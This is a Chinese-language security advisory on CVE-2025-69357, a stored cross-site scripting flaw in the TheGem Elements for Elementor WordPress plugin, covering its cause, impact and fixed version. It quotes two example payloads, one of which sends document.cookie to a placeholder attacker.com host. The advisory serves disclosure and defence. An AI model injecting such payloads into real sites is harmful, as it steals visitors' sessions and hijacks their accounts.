CVE-2025-69357CVE-2025-69357是WordPress平台TheGem主题Elements for Elementor插件中的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞由于插件在处理用户输入时未对特殊字符进行适当的HTML转义或过滤,导致恶意脚本代码可以被永久存储在服务器端。当其他用户访问包含恶意代码的页面时,攻击者注入的JavaScript代码会在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户、进行钓鱼攻击或执行其他恶意操作。由于该漏洞是存储型XSS,攻击代码会持久存在于网站数据库中,危害范围更广。攻击者需要具备低权限账户(如订阅者或贡献者角色)即可利用此漏洞,且需要诱导管理员或用户访问触发页面。
该漏洞属于CWE-79(网页生成时输入处理不当)类别。TheGem Theme Elements插件的某些Elementor小工具在处理用户提交的内容时,直接将输入内容插入到HTML输出中而未进行充分的输入验证和输出编码。攻击者可以在支持富文本编辑的字段中插入恶意JavaScript代码,例如:<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>。这些payload会被存储在WordPress数据库中,当其他用户访问相关页面时,浏览器会解析并执行这些恶意代码。由于TheGem主题通常用于企业网站和商业项目,用户量较大,此漏洞可能被大规模利用进行凭证窃取或会话劫持。修复版本为5.11.0之后的版本。